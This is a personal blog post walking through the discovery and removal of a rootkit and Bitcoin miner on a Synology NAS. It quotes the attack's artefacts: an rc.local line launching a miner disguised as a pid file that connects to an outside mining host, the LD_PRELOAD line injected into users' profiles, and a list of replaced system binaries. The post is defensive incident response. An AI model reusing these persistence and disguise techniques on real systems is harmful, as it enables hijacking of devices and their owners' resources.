Synology error LD_PRELOAD cannot be preloaded

A few days ago, when I accessed my Synology NAS over SSH, I noticed some strange error when I ran the ls command:

ERROR: ld.so: object ‘/lolz/jynx2.so’ from LD_PRELOAD cannot be preloaded: ignored.

I’d never seen this error before and I was also pretty sure I didn’t create a /lolz folder on my NAS, this looked more like the work of script kiddies. I found some pointers of a rootkit being installed on my NAS and think I’ve neutralized most of it. I’ve written up the steps I’ve taken and hope it might help others who encounter the same error message and are likely also a victim of this rootkit.

Update: I just noticed that Synology actually confirmed a vulnerability in the webman/imageSelector.cgi file and has DSM patches available for this specific security issue. I’d recommend you to update your DSM with a newer version. If you don’t want to or can’t, read on to see how you can neutralize the rootkit.

Step 1: Determine the “hack date”

The first thing I did was take a look at the ls binary on my NAS. I noticed that the last modified date of the /bin/ls binary was only a week old, that was a very awkward thing, considering the last time I updated DSM was about a year ago.

Step 2: Finding the rootkit binaries

Now that I knew the date, I ran the find command on some of the system folders, looking for files modified in the last two weeks (just to be sure):

find /bin -type f -mtime -14

I also ran this command on the /opt/bin, /etc, /usr and /var directories. I found the following suspicious files:

  • /bin/rm
  • /bin/mv
  • /bin/ls
  • /bin/ps
  • /opt/bin/ps
  • /opt/bin/top
  • /opt/bin/ls
  • /opt/bin/kill
  • /etc/ld.so.preload
  • /etc/rc.local
  • /usr/bin/killall
  • /usr/bin/top
  • /usr/syno/synoman/manager.cgi
  • /var/run/httpd-log.pid

The binaries were all replaced versions of the originals. Or well, the ones in /opt/bin are actually a fuck-up of the rootkit author, since the original installation doesn’t have or need those, so that was pretty much a deaaaad giveaway (little shout out to Charles Ramsey ;-)). Also the files in /bin were actually binaries and not symbolic links to busybox, as they should be. Now the files /etc/rc.local and /var/run/httpd-log.pid were the most interesting. The /etc/rc.local contained very peculiar content:

DiskStation> cat /etc/rc.local
/var/run/httpd-log.pid -B -q -o stratum+tcp://46.249.51.176:3336
exit

First of all, the IP address didn’t look familiar. It’s not one of my IP addresses, it appeared to be a private netblock of a customer of Serverius, a Dutch hosting company. I e-mailed their abuse department and am wondering if I’ll get a response back (I’ll update this post if I do).

Update: I’ve received a response from the provider that hosted the VPS on this IP address and the specific VPS has now been shut down.

Second of all, stratum+tcp:// is a wrapper for the Stratum protocol used for Bitcoin mining. It appears someone is building a mining network of Synology NAS’es (which I doubt will have much result as they don’t have any GPU and very little CPU). There was still an active connections from my NAS to the (apparent) mining pool IP:

DiskStation> netstat -an|grep 3336
tcp 0 0 192.168.1.2:55334 46.249.51.176:3336 ESTABLISHED

I looked up the processes and killed them:

DiskStation> ps w|grep [h]ttpd-log
3738 root 460 S /var/run/httpd-log.pid -B -q -o stratum+tcp://46.249.51.176:3336
3741 root 460 S /var/run/httpd-log.pid -B -q -o stratum+tcp://46.249.51.176:3336
3744 root 460 S /var/run/httpd-log.pid -B -q -o stratum+tcp://46.249.51.176:3336
3745 root 460 S /var/run/httpd-log.pid -B -q -o stratum+tcp://46.249.51.176:3336
3746 root 460 R N /var/run/httpd-log.pid -B -q -o stratum+tcp://46.249.51.176:3336

DiskStation> kill -9 3738 3741 3744 3745 3746

Step 3: Neutralizing the rootkit

Now that I seem to have found the core of the rootkit, it was time to neutralize it. First of all, we want to cleanse the rm binary, so we’re sure that it does what it’s supposed to do and not what the rootkit author wants it to do. We’ll be directly calling the command through the busybox binary (which all the tools on Synology systems are pretty much a part of).

busybox rm /bin/rm

Now, to restore the “original” rm:

ln -s busybox /bin/rm

This will create a symbolic link to the busybox binary, so rm can be called without the busybox prefix. After this, you can rm all the infected files mentioned in step 2 (or at least the ones you’ve determined to be infected/modified on your own Synology). For all the infected files in the /bin folder, create a symbolic link to busybox, just as above. All the binaries in /bin should be symlinks to busybox (except the busybox binary itself, obviously). There were also some adjustments to the .profile file of the root and admin users (/root/.profile and /volume1/homes/admin/.profile), they had this line added to them, causing the initial error.

export LD_PRELOAD=/lolz/jynx2.so

I recommend you to reboot your NAS afterwards, making sure all the binaries are unloaded from memory as well. This should clean your box up just nicely.

Step 4: Keep them out!

After I neutralized the rootkit I also realised that (stupid enough) I’d never really taken the time to setup the firewall on the NAS properly. I pretty much only access it from home or from the office, using static IP addresses, so I added a few rules to just allow access to the NAS from those IP’s. This can be done in DSM by going to the Control Panel, opening the “Firewall and QoS” config adding the trusted IP addresses, blocking anything else.

Synology Firewall

Here I’ve added my local network and the other static remote addresses I use otherwise (blacked out for security reasons). Also make sure you have the “Deny access” option checked. Otherwise, the rules are useless.

I hope this article helps other people clean their NAS as well. Feel free to comment if you have any questions.